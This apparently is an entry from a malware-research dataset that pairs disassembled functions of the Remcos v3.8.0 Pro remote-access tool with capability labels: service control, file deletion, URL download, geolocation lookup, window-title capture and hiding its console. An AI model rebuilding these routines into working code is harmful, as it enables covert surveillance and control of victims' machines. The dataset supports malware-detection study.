joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4159ba
Capabilities:
Create process on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc8
push ebx
push esi
push str._sysinfo.txt
push str.temp
call fcn.00439e5f
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.0040415e
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00402ff4
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401ee9
xor ebx, ebx
lea eax, [ebp - 0x48]
push ebx
push ebx
push eax
mov edx, 0x4694d0
lea ecx, [ebp - 0x30]
call fcn.0040a8cc
pop ecx
mov ecx, eax
call fcn.00401ee4
push eax
push str.dxdiag
push 0x4630ac
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea ecx, [ebp - 0x30]
call fcn.00401ee9
lea ecx, [ebp - 0x18]
call fcn.004020bf
mov esi, ebx
lea ecx, [ebp - 0x48]
call fcn.00401ee4
lea edx, [ebp - 0x18]
mov ecx, eax
call fcn.0041a20f
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x18]
inc esi
call fcn.00406131
test al, al
je 0x415a61
cmp esi, 0x4b0
jl 0x415a32
lea ecx, [ebp - 0x18]
call fcn.00406131
test al, al
jne 0x415af1
lea ecx, [ebp - 0x48]
call fcn.00401ee4
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 1
lea ecx, [ebp - 0xc8]
call fcn.004046d7
push ecx
lea ecx, [ebp - 0xc8]
call fcn.004048a8
test al, al
je 0x415ae6
sub esp, 0x18
lea eax, [ebp - 0x18]
mov esi, esp
lea edx, [ebp + 8]
lea ecx, [ebp - 0x30]
push eax
push 0x471e78
call fcn.00402f11
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00402ef0
pop ecx
push 0x97
lea ecx, [ebp - 0xc8]
call fcn.00404a81
lea ecx, [ebp - 0x30]
call fcn.00401fb8
lea ecx, [ebp - 0xc8]
call fcn.00404e06
mov bl, 1
lea ecx, [ebp - 0xc8]
call fcn.00404ec2
lea ecx, [ebp - 0x18]
call fcn.00401fb8
lea ecx, [ebp - 0x48]
call fcn.00401ee9
lea ecx, [ebp + 8]
call fcn.00401fb8
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41601d
Capabilities:
Create process on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
lea eax, [ebp + 8]
lea ecx, [ebp - 0x84]
push ebx
push esi
push edi
push eax
push 0x463068
call fcn.00402073
push eax
push str.Temp
call fcn.00439e6a
pop ecx
mov edx, eax
lea ecx, [ebp - 0x6c]
call fcn.004052dd
pop ecx
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.00402ef0
pop ecx
lea ecx, [ebp - 0x6c]
call fcn.00401fb8
lea ecx, [ebp - 0x84]
call fcn.00401fb8
push ecx
push ecx
push 0x10
lea ecx, [ebp - 0x18]
call fcn.00401f8b
push eax
lea ecx, [ebp - 0x138]
call fcn.0040e609
lea ecx, [ebp - 0x138]
call fcn.0041625a
test al, al
je 0x41614e
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x138]
call fcn.0041626a
lea ecx, [ebp - 0x138]
call fcn.0040e5ba
and dword [ebp - 0x4c], 0
lea ecx, [ebp - 0x18]
and dword [ebp - 0x48], 0
mov dword [ebp - 0x54], 0x3c
mov dword [ebp - 0x50], 0x40
call fcn.00401f8b
movaps xmm0, xmmword [0x469e50]
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x54]
push eax
movups xmmword [ebp - 0x40], xmm0
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
mov esi, 0x463050
mov edi, 0x472540
setne bl
cmp dword [ebp - 0x1c], 0
je 0x416138
sub esp, 0x18
mov ecx, esp
push esi
call fcn.00402073
push 0x70
mov ecx, edi
call fcn.00404a81
push 0xffffffffffffffff
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x18]
call fcn.00401f8b
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp bl, 1
jne 0x416169
sub esp, 0x18
mov ecx, esp
push esi
call fcn.00402073
push 0x6e
mov ecx, edi
jmp 0x416164
sub esp, 0x18
mov ecx, esp
push 0x463050
call fcn.00402073
push 0x6f
mov ecx, 0x472540
call fcn.00404a81
lea ecx, [ebp - 0x138]
call fcn.0040dd70
lea ecx, [ebp - 0x18]
call fcn.00401fb8
lea ecx, [ebp + 8]
call fcn.00401fb8
lea ecx, [ebp + 0x20]
call fcn.00401fb8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x418a5c
Capabilities:
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x20
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 0x20
lea ecx, [ebp + 8]
mov esi, eax
call fcn.00401ee4
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
jne 0x418a94
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x418ab2
lea eax, [ebp - 0x1c]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
setne bl
call esi
push edi
call esi
lea ecx, [ebp + 8]
call fcn.00401ee9
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x418ac3
Capabilities:
Query service status
Start service
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x11
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 0xf003f
lea ecx, [ebp + 8]
mov esi, eax
call fcn.00401ee4
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
jne 0x418afe
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x418b4f
lea eax, [ebp - 0x1c]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jne 0x418b1f
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
mov bl, 2
jmp 0x418b4f
lea eax, [ebp - 0x1c]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [ebp - 0x18], 1
jne 0x418b1f
push ebx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
neg eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
sbb ebx, ebx
and ebx, 0xfffffffe
add ebx, 3
call esi
push edi
call esi
lea ecx, [ebp + 8]
call fcn.00401ee9
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x418b60
Capabilities:
Pause service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 0x40
lea ecx, [ebp + 8]
mov esi, eax
call fcn.00401ee4
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
jne 0x418b98
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x418bb6
lea eax, [ebp - 0x1c]
push eax
push 2
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
setne bl
call esi
push edi
call esi
lea ecx, [ebp + 8]
call fcn.00401ee9
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x418bc7
Capabilities:
Continue service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 0x40
lea ecx, [ebp + 8]
mov esi, eax
call fcn.00401ee4
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
jne 0x418bff
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x418c1d
lea eax, [ebp - 0x1c]
push eax
push 3
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
setne bl
call esi
push edi
call esi
lea ecx, [ebp + 8]
call fcn.00401ee9
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x418c2e
Capabilities:
Modify service

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 2
xor ebx, ebx
mov byte [ebp - 1], cl
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 2
lea ecx, [ebp + 8]
mov esi, eax
call fcn.00401ee4
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
jne 0x418c67
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x418cab
movzx eax, byte [ebp - 1]
or ecx, 0xffffffff
sub eax, ebx
je 0x418c84
sub eax, 1
je 0x418c80
sub eax, 1
jne 0x418c87
push 3
jmp 0x418c86
push 2
jmp 0x418c86
push 4
pop ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
push ecx
push 0xffffffffffffffff
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
test eax, eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
setne bl
call esi
push edi
call esi
lea ecx, [ebp + 8]
call fcn.00401ee9
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x418ccd
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
lea ecx, [esp + 4]
mov dl, 0x30
push esi
push str.alarm.wav
call fcn.0040c5a1
pop ecx
lea ecx, [esp + 8]
call fcn.00401ee4
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x418d58
mov esi, 0x472878
mov edx, 0x463050
mov ecx, esi
call fcn.00405ae5
test al, al
je 0x418d46
sub esp, 0x18
cmp byte [0x471a8e], 0
mov ecx, esp
push 0x469640
je 0x418d30
call fcn.00402073
mov ecx, 0x472890
jmp 0x418d3a
call fcn.00402073
mov ecx, 0x4724a8
push 0xa1
call fcn.00404a81
jmp 0x418d68
lea ecx, [esp + 8]
call fcn.00401ee4
mov edx, eax
mov ecx, esi
call fcn.0041a27c
lea ecx, [esp + 8]
call fcn.00401ee4
mov ecx, eax
call fcn.00418d76
lea ecx, [esp + 8]
call fcn.00401ee9
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x418dcb
Capabilities:
Check if file exists

Disassembly:
push ebx
push ecx
mov ecx, 0x472878
mov bl, dl
call fcn.00401fa0
test bl, bl
je 0x418de3
pop ebx
jmp fcn.00418ccd
mov byte [0x471a8f], 1
pop ebx
ret
Function at 0x418ffd
Capabilities:
Check if file exists

Disassembly:
sub esp, 0x7c
push ebx
push ebp
push esi
push edi
push ecx
mov edi, ecx
mov esi, edx
push ecx
lea ecx, [esp + 0x98]
call fcn.00419252
cmp eax, 0xffffffff
jne 0x41904a
lea ecx, [esp + 0x90]
call fcn.00401ee4
push eax
mov dl, 0x30
lea ecx, [esp + 0x14]
call fcn.0040c5ed
pop ecx
push eax
lea ecx, [esp + 0x94]
call fcn.00401ef3
lea ecx, [esp + 0x10]
call fcn.00401ee9
mov ecx, esi
call fcn.0040245c
lea ecx, [esp + 0x90]
test eax, eax
je 0x41913e
call fcn.00401ee4
mov edx, eax
mov ecx, esi
call fcn.0041a27c
push str._alias_audio
mov edx, edi
lea ecx, [esp + 0x74]
call fcn.00419bca
push eax
lea eax, [esp + 0x98]
mov edx, str.open__
push str.__type
push eax
lea ecx, [esp + 0x68]
call fcn.0040a8cc
pop ecx
mov edx, eax
lea ecx, [esp + 0x4c]
call fcn.00402ff4
pop ecx
mov edx, eax
lea ecx, [esp + 0x18]
call fcn.00402f85
pop ecx
mov edx, eax
lea ecx, [esp + 0x2c]
call fcn.00402ff4
pop ecx
lea ecx, [esp + 0x10]
call fcn.00401ee9
lea ecx, [esp + 0x40]
call fcn.00401ee9
lea ecx, [esp + 0x58]
call fcn.00401ee9
lea ecx, [esp + 0x70]
call fcn.00401ee9
xor ebx, ebx
lea ecx, [esp + 0x28]
push ebx
push ebx
push ebx
call fcn.00401ee4
push eax
call dword [sym.imp.WINMM.dll_mciSendStringW]
mov esi, dword [sym.imp.WINMM.dll_mciSendStringA]
push ebx
push ebx
push ebx
push str.play_audio
call esi
sub esp, 0x18
mov edi, 0x463050
mov ecx, esp
push edi
call fcn.00402073
mov ebp, 0x472890
push 0xa9
mov ecx, ebp
call fcn.00404a81
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x471a90], eax
jmp 0x419202
call fcn.00401ee4
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x41906e
sub esp, 0x18
mov ecx, esp
push 0x463050
call fcn.00402073
push 0xa8
mov ecx, 0x472890
call fcn.00404a81
jmp 0x41923e
cmp byte [0x471a8d], bl
je 0x41918d
push ebx
push ebx
push ebx
push str.pause_audio
call esi
mov byte [0x471a8d], bl
cmp byte [0x471a8c], bl
je 0x4191a5
push ebx
push ebx
push ebx
push str.resume_audio
call esi
mov byte [0x471a8c], bl
push ebx
push 0x14
lea eax, [esp + 0x18]
push eax
push str.status_audio_mode
call esi
lea eax, [esp + 0x10]
push str.stopped
push eax
call fcn.0043a300
pop ecx
pop ecx
test eax, eax
jne 0x4191d5
push dword [0x471a90]
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x1f4
push dword [0x471a90]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x4191fd
push dword [0x471a90]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
jmp 0x419134
mov eax, dword [0x471a90]
test eax, eax
jne 0x419175
push ebx
push ebx
push ebx
push str.stop_audio
call esi
push ebx
push ebx
push ebx
push str.close_audio
call esi
sub esp, 0x18
mov ecx, esp
push edi
call fcn.00402073
push 0xaa
mov ecx, ebp
call fcn.00404a81
lea ecx, [esp + 0x28]
call fcn.00401ee9
lea ecx, [esp + 0x90]
call fcn.00401ee9
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x7c
ret
Function at 0x41936b
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
sub esp, 0x24
push ebx
push ebp
push esi
push edi
mov ebx, ecx
call fcn.004020bf
xor esi, esi
push 0xffff
mov dword [esp + 0x14], esi
call fcn.00439adb
pop ecx
push esi
push esi
push esi
push 1
push esi
mov edi, eax
call dword [sym.imp.WININET.dll_InternetOpenW]
push esi
push connect
push esi
push esi
mov ebp, eax
push str.http:__geoplugin.net_json.gp
push ebp
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov esi, eax
and dword [esp + 0x10], 0
lea eax, [esp + 0x10]
push eax
push 0xffff
push edi
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x14], eax
test ecx, ecx
je 0x4193f7
push ecx
push edi
lea ecx, [esp + 0x20]
call fcn.00402097
push eax
mov ecx, ebx
call fcn.00403356
lea ecx, [esp + 0x18]
call fcn.00401fb8
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
cmp eax, 1
jne 0x419400
test ecx, ecx
jne 0x4193b0
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebp
call esi
push edi
call fcn.00439ad6
pop ecx
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x24
ret

Function at 0x4199d7
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push ebx
push esi
push edi
xor edi, edi
mov ebx, edx
test ecx, ecx
je 0x419a6e
push edi
push edi
lea eax, [ebp - 8]
push eax
push ecx
push edi
call dword [sym.imp.urlmon.dll_URLOpenBlockingStreamW]
test eax, eax
js 0x419a6e
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x5c]
push 1
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x30]
test eax, eax
js 0x419a65
mov esi, dword [ebp - 0x54]
inc esi
push esi
mov dword [ebp - 0x54], esi
call fcn.00439adb
mov dword [ebx], eax
pop ecx
test eax, eax
je 0x419a65
push 8
lea eax, [ebp - 0x14]
push edi
push eax
call fcn.00434c30
push esi
push edi
push dword [ebx]
call fcn.00434c30
add esp, 0x18
lea eax, [esi - 1]
mov esi, dword [ebp + 8]
push edi
push edi
push dword [ebp - 0x10]
mov dword [esi], eax
mov eax, dword [ebp - 8]
push dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov eax, dword [ebp - 8]
push edi
push dword [esi]
push dword [ebx]
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
inc edi
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x419a77
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x200
lea eax, [ebp - 0x200]
push esi
push edi
mov edi, 0x200
mov esi, ecx
push edi
push 0
push eax
call fcn.00434c30
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push edi
lea ecx, [ebp - 0x200]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea eax, [ebp - 0x200]
mov ecx, esi
push eax
call fcn.0040415e
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x419ae9
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push ecx
xor ebx, ebx
push ebx
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x419b11
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
push esi
setne bl
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov al, bl
pop ebx
ret

Function at 0x41a01b
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x664
lea eax, [ebp - 0x410]
push ebx
push esi
push edi
mov edi, ecx
push edi
push eax
call fcn.0043a796
lea eax, [ebp - 0x410]
push 0x46959c
push eax
call fcn.0043f414
lea eax, [ebp - 0x208]
push edi
push eax
call fcn.0043a796
lea eax, [ebp - 0x208]
push 0x4632a8
push eax
call fcn.0043f414
add esp, 0x20
lea eax, [ebp - 0x660]
push eax
lea eax, [ebp - 0x410]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x41a172
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x410]
push eax
call fcn.0043a796
pop ecx
pop ecx
mov bl, 1
lea eax, [ebp - 0x660]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x41a146
lea ecx, [ebp - 0x634]
call fcn.00419fed
test eax, eax
jne 0x41a153
lea eax, [ebp - 0x634]
push eax
lea eax, [ebp - 0x208]
push eax
call fcn.0043f414
test byte [ebp - 0x660], 0x10
pop ecx
pop ecx
je 0x41a103
lea ecx, [ebp - 0x208]
call fcn.0041a01b
test eax, eax
je 0x41a16b
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x41a12f
test byte [ebp - 0x660], 1
je 0x41a11e
push 0x80
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x41a16b
lea eax, [ebp - 0x410]
push eax
lea eax, [ebp - 0x208]
push eax
call fcn.0043a796
pop ecx
pop ecx
jmp 0x41a153
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
jne 0x41a16b
xor bl, bl
test bl, bl
jne 0x41a09e
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
push edi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x41a174
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41a17b
Capabilities:
Write file on windows

Disassembly:
push ecx
mov eax, dword [esp + 0xc]
push ebx
push ebp
push esi
xor ebx, ebx
mov ebp, ecx
push edi
mov edi, edx
sub eax, ebx
je 0x41a1a4
sub eax, 1
jne 0x41a19a
push 4
pop eax
mov ecx, eax
jmp 0x41a1ac
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x1c]
jmp 0x41a1ac
push 2
mov eax, 0x40000000
pop ecx
push ebx
push 0x80
push ecx
push ebx
push ebx
push eax
push dword [esp + 0x30]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x41a1cb
xor al, al
jmp 0x41a209
cmp dword [esp + 0x1c], 1
jne 0x41a1eb
push 2
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x41a1eb
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x41a1c7
push ebx
lea eax, [esp + 0x14]
push eax
push edi
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x41a200
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x41a20f
Capabilities:
Get file size
Read file on windows

Disassembly:
push ecx
push ebx
push ebp
push edi
xor ebx, ebx
mov ebp, edx
push ebx
push 0x80
push 3
push ebx
push 3
push connect
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x41a239
xor al, al
jmp 0x41a277
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
mov ecx, ebp
push ebx
push esi
call fcn.0040242e
push ebx
lea eax, [esp + 0x14]
mov dword [esp + 0x14], ebx
push eax
push esi
mov ecx, ebp
call fcn.00401f8b
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
pop esi
test eax, eax
je 0x41a26e
mov bl, 1
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop edi
pop ebp
pop ebx
pop ecx
ret

Function at 0x41a29f
Capabilities:
Get file size

Disassembly:
push esi
push edi
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push connect
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x41a2c5
xor eax, eax
jmp 0x41a2d8
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
pop esi
ret
Function at 0x41a2db
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3c
push ebx
push esi
push edi
mov dword [esp + 0x10], ecx
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov edi, eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov esi, eax
xor ebx, ebx
test esi, esi
je 0x41a3d8
push ebx
inc esi
lea ecx, [esp + 0x34]
push esi
call fcn.0040a854
push esi
lea ecx, [esp + 0x34]
call fcn.00401ee4
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x34]
call fcn.004022e5
mov edi, eax
lea ecx, [esp + 0x30]
lea eax, [esp + 0x18]
push eax
call fcn.004022aa
mov esi, eax
lea ecx, [esp + 0x30]
lea eax, [esp + 0x1c]
push eax
call fcn.004022e5
push dword [edi]
lea ecx, [esp + 0x24]
push dword [esi]
push dword [eax]
call fcn.00408d16
sub esp, 0xc
mov ecx, esp
push 0x4697f4
call fcn.0040415e
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.00408098
lea ecx, [esp + 0x54]
call fcn.00419e55
add esp, 0x30
lea ecx, [esp + 0x24]
mov edi, ebx
call fcn.004021da
test eax, eax
je 0x41a3c6
mov esi, ebx
push ebx
push esi
lea ecx, [esp + 0x2c]
call fcn.00401e45
push eax
lea ecx, [esp + 0x38]
call fcn.00408b99
cmp eax, 0xffffffff
jne 0x41a3e9
inc edi
lea ecx, [esp + 0x24]
movzx esi, di
call fcn.004021da
cmp esi, eax
jb 0x41a39b
lea ecx, [esp + 0x24]
call fcn.004112e2
lea ecx, [esp + 0x30]
call fcn.00401ee9
lea ecx, [ebp + 8]
call fcn.00401ee9
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [esp + 0x10]
test esi, esi
je 0x41a403
lea ecx, [esp + 0x30]
call fcn.00401ee4
push eax
push esi
call fcn.0043a796
pop ecx
pop ecx
lea ecx, [esp + 0x24]
call fcn.004112e2
lea ecx, [esp + 0x30]
call fcn.00401ee9
mov bl, 1
jmp 0x41a3d8
Function at 0x41a76c
Capabilities:
Change the wallpaper

Disassembly:
push ebx
push esi
push edi
mov edi, edx
sub ecx, 0
je 0x41a818
sub ecx, 1
je 0x41a80a
sub ecx, 1
je 0x41a7fc
sub ecx, 1
je 0x41a7c9
sub ecx, 1
jne 0x41a85a
push 1
sub esp, 0x18
mov ecx, esp
push 0x4630c0
call fcn.00402073
mov esi, str.Control_PanelDesktop
push str.WallpaperStyle
mov edx, esi
call fcn.0041215f
add esp, 0x20
push 1
sub esp, 0x18
mov ecx, esp
push 0x4630bc
jmp 0x41a846
push 1
sub esp, 0x18
mov ecx, esp
push 0x469318
call fcn.00402073
mov esi, str.Control_PanelDesktop
push str.WallpaperStyle
mov edx, esi
call fcn.0041215f
add esp, 0x20
push 1
sub esp, 0x18
mov ecx, esp
push 0x4630c0
jmp 0x41a846
push 1
sub esp, 0x18
mov ecx, esp
push 0x469710
jmp 0x41a7d5
push 1
sub esp, 0x18
mov ecx, esp
push 0x4630a8
jmp 0x41a7d5
push 1
sub esp, 0x18
mov ebx, 0x4630c0
mov ecx, esp
push ebx
call fcn.00402073
mov esi, str.Control_PanelDesktop
push str.WallpaperStyle
mov edx, esi
call fcn.0041215f
add esp, 0x20
push 1
sub esp, 0x18
mov ecx, esp
push ebx
call fcn.00402073
push str.TileWallpaper
mov edx, esi
call fcn.0041215f
add esp, 0x20
push 3
push edi
push 0
push 0x14
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
pop edi
pop esi
pop ebx
ret

Function at 0x41aa4f
Capabilities:
Hide graphical window

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0xc8
push ebx
mov bl, cl
call dword [sym.imp.KERNEL32.dll_AllocConsole]
call dword [0x471ac8]
test bl, bl
mov dword [0x471acc], eax
pop ebx
jne 0x41aa7c
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 1
call fcn.0043a9be
push eax
push 0x469a94
push str.CONOUT_
call fcn.0043f0f0
push 0xc8
lea eax, [ebp - 0x50]
push 0
push eax
call fcn.00434c30
lea eax, [ebp - 0x50]
push str.___________________________n
push eax
call fcn.0043f460
lea eax, [ebp - 0x50]
push str.__Remcos_v
push eax
call fcn.0043f460
lea eax, [ebp - 0x50]
push str.3.8.0_Pro
push eax
call fcn.0043f460
lea eax, [ebp - 0x50]
push str._n__BreakingSecurity.net_n
push eax
call fcn.0043f460
lea eax, [ebp - 0x50]
push str.___________________________n_n
push eax
call fcn.0043f460
add esp, 0x44
lea eax, [ebp - 0x50]
push eax
call fcn.0041928b
pop ecx
lea esp, [ebp + 0x78]
pop ebp
ret